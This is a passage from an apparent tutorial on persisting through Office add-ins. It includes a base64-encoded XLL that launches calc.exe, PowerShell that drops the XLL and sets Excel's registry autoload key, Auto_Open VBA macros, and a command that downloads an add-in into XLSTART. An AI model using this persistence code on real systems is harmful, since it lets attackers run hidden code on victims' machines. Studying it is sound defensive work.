AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGoBaBAwABD\u002FFQAgABDDkJC4AQAAAMIMAJCQkJCQkJCQi0QkCIXAdQ45BRwwABB+Lv8NHDAAEIsNFCAAEIP4AYsJiQ0gMAAQdT9ogAAAAP8VECAAEIXAWaMoMAAQdQQzwOtmgyAAoSgwABBoBDAAEGgAMAAQoyQwABDo6gAAAP8FHDAAEFlZ6z2FwHU5oSgwABCFwHQwiw0kMAAQVo1x\u002FDvwchKLDoXJdAf\u002F0aEoMAAQg+4E6+pQ\u002FxUIIAAQgyUoMAAQAFleagFYwgwAVYvsU4tdCFaLdQxXi30QhfZ1CYM9HDAAEADrJoP+AXQFg\u002F4CdSKhLDAAEIXAdAlXVlP\u002F0IXAdAxXVlPoFf\u002F\u002F\u002F4XAdQQzwOtOV1ZT6PX+\u002F\u002F+D\u002FgGJRQx1DIXAdTdXUFPo8f7\u002F\u002F4X2dAWD\u002FgN1JldWU+jg\u002Fv\u002F\u002FhcB1AyFFDIN9DAB0EaEsMAAQhcB0CFdWU\u002F\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\u003C\u002Fp>\u003Cp>Use variable $fileContent to store base64-encrypted calc.xll\u003C\u002Fp>\u003Cp>Based on the release path of the .xll file, the code for base64 decryption and generating calc.xll is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>$fileContent = \"TVqQAAMAAAAEAAAA\u002F\u002F8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAyAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAADVzTnZkaxXipGsV4qRrFeKebNdipWsV4qRrFaKlqxXivOzRIqSrFeKebNcipOsV4p5s1OKkqxXilJpY2iRrFeKAAAAAAAAAABQRQAATAEEAF0ZaFkAAAAAAAAAAOAADiELAQYAAAIAAAAGAAAAAAAAyxAAAAAQAAAAIAAAAAAAEAAQAAAAAgAABAAAAAAAAAAEAAAAAAAAAABQAAAABAAAAAAAAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAADQIAAARwAAABwgAAA8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAADQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50ZXh0AAAAbgEAAAAQAAAAAgAAAAQAAAAAAAAAAAAAAAAAACAAAGAucmRhdGEAABcBAAAAIAAAAAIAAAAGAAAAAAAAAAAAAAAAAABAAABALmRhdGEAAAAwAAAAADAAAAACAAAACAAAAAAAAAAAAAAAAAAAQAAAwC5yZWxvYwAAWgAAAABAAAAAAgAAAAoAAAAAAAAAAAAAAAAAAEAAAEIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGoBaBAwABD\u002FFQAgABDDkJC4AQAAAMIMAJCQkJCQkJCQi0QkCIXAdQ45BRwwABB+Lv8NHDAAEIsNFCAAEIP4AYsJiQ0gMAAQdT9ogAAAAP8VECAAEIXAWaMoMAAQdQQzwOtmgyAAoSgwABBoBDAAEGgAMAAQoyQwABDo6gAAAP8FHDAAEFlZ6z2FwHU5oSgwABCFwHQwiw0kMAAQVo1x\u002FDvwchKLDoXJdAf\u002F0aEoMAAQg+4E6+pQ\u002FxUIIAAQgyUoMAAQAFleagFYwgwAVYvsU4tdCFaLdQxXi30QhfZ1CYM9HDAAEADrJoP+AXQFg\u002F4CdSKhLDAAEIXAdAlXVlP\u002F0IXAdAxXVlPoFf\u002F\u002F\u002F4XAdQQzwOtOV1ZT6PX+\u002F\u002F+D\u002FgGJRQx1DIXAdTdXUFPo8f7\u002F\u002F4X2dAWD\u002FgN1JldWU+jg\u002Fv\u002F\u002FhcB1AyFFDIN9DAB0EaEsMAAQhcB0CFdWU\u002F\u002FQiUUMi0UMX15bXcIMAP8lDCAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdCAAAAAAAACMIAAAlCAAAKAgAACqIAAAAAAAAFggAAAAAAAAAAAAAH4gAAAAIAAAYCAAAAAAAAAAAAAAuiAAAAggAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHQgAAAAAAAAjCAAAJQgAACgIAAAqiAAAAAAAADTAldpbkV4ZWMAS0VSTkVMMzIuZGxsAABeAmZyZWUAAA8BX2luaXR0ZXJtAJECbWFsbG9jAACdAF9hZGp1c3RfZmRpdgAATVNWQ1JULmRsbAAAAAAAAAAAAAAAAAAAAABdGWhZAAAAAAIhAAABAAAAAQAAAAEAAAD4IAAA\u002FCAAAAAhAAAAEAAADCEAAAAAdGVzdDMuZGxsAHhsQXV0b09wZW4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAY2FsYy5leGUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAA0AAAAAzAJMCowMjA4MEMwUDBYMGYwazBwMHUwgDCNMJcwrDC4ML4w4DDyME4xajEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"\u003Cbr>$fileContentBytes = [System.Convert]::FromBase64String($fileContent)\u003Cbr>[System.IO.File]::WriteAllBytes($env:APPDATA+\"\\Microsoft\\AddIns\\calc.xll\",$fileContentBytes)\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Determine Office version via PowerShell:\u003C\u002Fp>\u003Cp>dir -name \"C:\\Program Files\\Microsoft Office\\Office*\"\u003C\u002Fp>\u003Cp>Output: Office14\u003C\u002Fp>\u003Cp>Extract the version number 14 from the string, code as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>$OfficeVersion=dir -name \"C:\\Program Files\\Microsoft Office\\Office*\"\u003Cbr>\u003Cbr>$Ver=$OfficeVersion.Substring( $OfficeVersion.LastIndexOf(\"e\")+1 ) \u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Add exception handling; if Office is not installed on the system, return a prompt message:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>Try  \u003Cbr>{  \u003Cbr>    $OfficeVersion=dir -name \"C:\\Program Files\\Microsoft Office\\Office*\" -ErrorAction Stop  \u003Cbr>    $Ver=$OfficeVersion.Substring( $OfficeVersion.LastIndexOf(\"e\")+1 ) \u003Cbr>}  \u003Cbr>Catch  \u003Cbr>{  \u003Cbr>    Write-Host \"[!] I can't find Microsoft Office!\" \u003Cbr>    Write-Host \"[+] Please reinput a correct path.\"  \u003Cbr>}  \u003Cbr> \u003Cbr>Write-Host \"Microsoft Office Version:\" $Ver\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Concatenate registry paths corresponding to different Office versions:\u003C\u002Fp>\u003Cp>$ExcelRegPath=\"HKCU:\\Software\\Microsoft\\Office\\\"+$Ver+\".0\\Excel\\\"\u003C\u002Fp>\u003Cp>Create new key: Options\u003C\u002Fp>\u003Cp>New-Item -type Directory $ExcelRegPath\"Options\" | Out-Null\u003C\u002Fp>\u003Cp>Create new string value: OPEN: \u002FR calc.xll :\u003C\u002Fp>\u003Cp>New-ItemProperty $ExcelRegPath\"Options\" OPEN -value \"\u002FR calc.xll\" -propertyType string | Out-Null\u003C\u002Fp>\u003Cp>Complete code as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>$fileContent = \"TVqQAAMAAAAEAAAA\u002F\u002F8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAyAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAADVzTnZkaxXipGsV4qRrFeKebNdipWsV4qRrFaKlqxXivOzRIqSrFeKebNcipOsV4p5s1OKkqxXilJpY2iRrFeKAAAAAAAAAABQRQAATAEEAF0ZaFkAAAAAAAAAAOAADiELAQYAAAIAAAAGAAAAAAAAyxAAAAAQAAAAIAAAAAAAEAAQAAAAAgAABAAAAAAAAAAEAAAAAAAAAABQAAAABAAAAAAAAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAADQIAAARwAAABwgAAA8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAADQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50ZXh0AAAAbgEAAAAQAAAAAgAAAAQAAAAAAAAAAAAAAAAAACAAAGAucmRhdGEAABcBAAAAIAAAAAIAAAAGAAAAAAAAAAAAAAAAAABAAABALmRhdGEAAAAwAAAAADAAAAACAAAACAAAAAAAAAAAAAAAAAAAQAAAwC5yZWxvYwAAWgAAAABAAAAAAgAAAAoAAAAAAAAAAAAAAAAAAEAAAEIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGoBaBAwABD\u002FFQAgABDDkJC4AQAAAMIMAJCQkJCQkJCQi0QkCIXAdQ45BRwwABB+Lv8NHDAAEIsNFCAAEIP4AYsJiQ0gMAAQdT9ogAAAAP8VECAAEIXAWaMoMAAQdQQzwOtmgyAAoSgwABBoBDAAEGgAMAAQoyQwABDo6gAAAP8FHDAAEFlZ6z2FwHU5oSgwABCFwHQwiw0kMAAQVo1x\u002FDvwchKLDoXJdAf\u002F0aEoMAAQg+4E6+pQ\u002FxUIIAAQgyUoMAAQAFleagFYwgwAVYvsU4tdCFaLdQxXi30QhfZ1CYM9HDAAEADrJoP+AXQFg\u002F4CdSKhLDAAEIXAdAlXVlP\u002F0IXAdAxXVlPoFf\u002F\u002F\u002F4XAdQQzwOtOV1ZT6PX+\u002F\u002F+D\u002FgGJRQx1DIXAdTdXUFPo8f7\u002F\u002F4X2dAWD\u002FgN1JldWU+jg\u002Fv\u002F\u002FhcB1AyFFDIN9DAB0EaEsMAAQhcB0CFdWU\u002F\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\"\u003Cbr>$fileContentBytes = [System.Convert]::FromBase64String($fileContent) \u003Cbr>[System.IO.File]::WriteAllBytes($env:APPDATA+\"\\Microsoft\\AddIns\\calc.xll\",$fileContentBytes)\u003Cbr>\u003Cbr>Try  \u003Cbr>{  \u003Cbr>    $OfficeVersion=dir -name \"C:\\Program Files\\Microsoft Office\\Office*\" -ErrorAction Stop  \u003Cbr>    $Ver=$OfficeVersion.Substring( $OfficeVersion.LastIndexOf(\"e\")+1 ) \u003Cbr>    \u003Cbr>}  \u003Cbr>Catch  \u003Cbr>{  \u003Cbr>    Write-Host \"[!] I can't find Microsoft Office!\" \u003Cbr>    Write-Host \"[+] Please reinput a correct path.\" \u003Cbr>    return \u003Cbr>}  \u003Cbr>Write-Host \"Microsoft Office Version:\" $Ver\u003Cbr>$ExcelRegPath=\"HKCU:\\Software\\Microsoft\\Office\\\"+$Ver+\".0\\Excel\\\"\u003Cbr>New-Item -type Directory $ExcelRegPath\"Options\" | Out-Null\u003Cbr>New-ItemProperty $ExcelRegPath\"Options\" OPEN -value \"\u002FR calc.xll\" -propertyType string | Out-Null\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch2>0x04 Excel VBA add-ins\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Ch3>1、Manual testing\u003C\u002Fh3>\u003Cp>Start Excel, enable the Developer Tools option, select Visual Basic\u003C\u002Fp>\u003Cp>Insert a module, write the following code:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>Sub Auto_Open()\u003Cbr>    Set objShell = CreateObject(\"Wscript.Shell\")\u003Cbr>    objShell.Exec (\"calc.exe\")\u003Cbr>End Sub\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Save as calc.xlam, path is:\u003C\u002Fp>\u003Cp>%appdata%\\Microsoft\\Excel\\XLSTART\u003C\u002Fp>\u003Cp>Start Excel.exe, calculator pops up, and Excel starts normally\u003C\u002Fp>\u003Ch3>2. Write a PowerShell script to implement\u003C\u002Fh3>\u003Cp>Save path is:\u003C\u002Fp>\u003Cp>%appdata%\\Microsoft\\Excel\\XLSTART\\calc.xlam\u003C\u002Fp>\u003Cp>Corresponding PowerShell code is:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>$client = new-object System.Net.WebClient\u003Cbr>$client.DownloadFile(\"https:\u002F\u002Fraw.githubusercontent.com\u002F3gstudent\u002FOffice-Persistence\u002Fmaster\u002Fcalc.xlam\",$env:APPDATA+\"\\Microsoft\\Excel\\XLSTART\\calc.xlam\")\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch2>0x05 PowerPoint VBA add-ins\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Ch3>1. Manual Testing\u003C\u002Fh3>\u003Cp>Launch PowerPoint, enable Developer Tools option, select Visual Basic\u003C\u002Fp>\u003Cp>Insert a module, write the following code:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>Sub Auto_Open()\u003Cbr>    Set objShell = CreateObject(\"Wscript.Shell\")\u003Cbr>    objShell.Exec (\"calc.exe\")\u003Cbr>End Sub\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Save as calc.ppa, path:\u003C\u002Fp>\u003Cp>%appdata%\\Microsoft\\AddIns\u003C\u002Fp>\u003Cp>Find registry key value:\u003C\u002Fp>\u003Cp>Key value for Office2010:\u003C\u002Fp>\u003Cp>HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\14.0\\PowerPoint\u003C\u002Fp>\u003Cp>Key value for 